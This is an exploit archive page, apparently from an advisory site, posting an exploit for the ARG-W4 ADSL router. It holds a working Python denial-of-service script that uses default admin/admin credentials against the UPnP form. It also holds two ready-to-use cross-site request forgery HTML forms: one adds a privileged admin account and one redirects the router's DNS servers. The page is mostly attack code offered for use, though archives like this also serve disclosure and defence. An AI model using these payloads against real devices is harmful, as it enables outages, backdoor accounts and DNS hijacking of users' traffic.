what you don't know can hurt you

ARG-W4 ADSL Router Denial Of Service / Cross Site Request Forgery

ARG-W4 ADSL Router Denial Of Service / Cross Site Request Forgery
Posted Dec 11, 2016
Authored by Mojtaba MobhaM

ARG-W4 ADSL router suffers from denial of service and cross site request forgery vulnerabilities.

tags | exploit, denial of service, vulnerability, csrf
MD5 | 80711fef5c0d24c3008228cb278da894

ARG-W4 ADSL Router Denial Of Service / Cross Site Request Forgery

Change Mirror Download
# Exploit Title: ARG-W4 ADSL Router - Multiple Vulnerabilities
# Date: 2016-12-11
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM
# Tested on: Windows AND Linux
# Exploit Demo : http://persian-team.ir/showthread.php?tid=196

1 - Denial of Service

#!/usr/bin/python
import urllib2
import urllib

site=raw_input("Enter Url : ")
site=site+"/form2Upnp.cgi"
username='admin'
password='admin'
p = urllib2.HTTPPasswordMgrWithDefaultRealm()
p.add_password(None, site, username, password)
handler = urllib2.HTTPBasicAuthHandler(p)
opener = urllib2.build_opener(handler)
urllib2.install_opener(opener)

post = {'daemon':' ','ext_if':'pppoe+1','submit.htm?upnp.htm':'Send'}
data = urllib.urlencode(post)
try:
html = urllib2.urlopen(site,data)
print ("Done ! c_C")
except:
print ("Done ! c_C")

2-1 Cross-Site Request Forgery (Add Admin)

<html>
<body>
<form action="http://192.168.1.1/form2userconfig.cgi" method="POST">
USER:<input type="text" name="username" value="mobham" />
<input type="hidden" name="privilege" value="2" />
PWD:<input type="text" name="newpass" value="mobham" />
RPWD:<input type="texr" name="confpass" value="mobham" />
<input type="hidden" name="adduser" value="Add" />
<input type="hidden" name="hiddenpass" value="" />
<input type="hidden" name="submit.htm?userconfig.htm" value="Send" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

2-2 Cross-Site Request Forgery (Change DNS)

<html>
<body>
<form action="http://192.168.1.1/form2Dns.cgi" method="POST">
<input type="hidden" name="dnsMode" value="1" />
DNS<input type="text" name="dns1" value="2.2.2.2" />
DNS 2<input type="text" name="dns2" value="1.1.1.1" />
DNS 3<input type="text" name="dns3" value="" />
<input type="hidden" name="submit.htm?dns.htm" value="Send" />
<input type="hidden" name="save" value="Apply Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>



Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close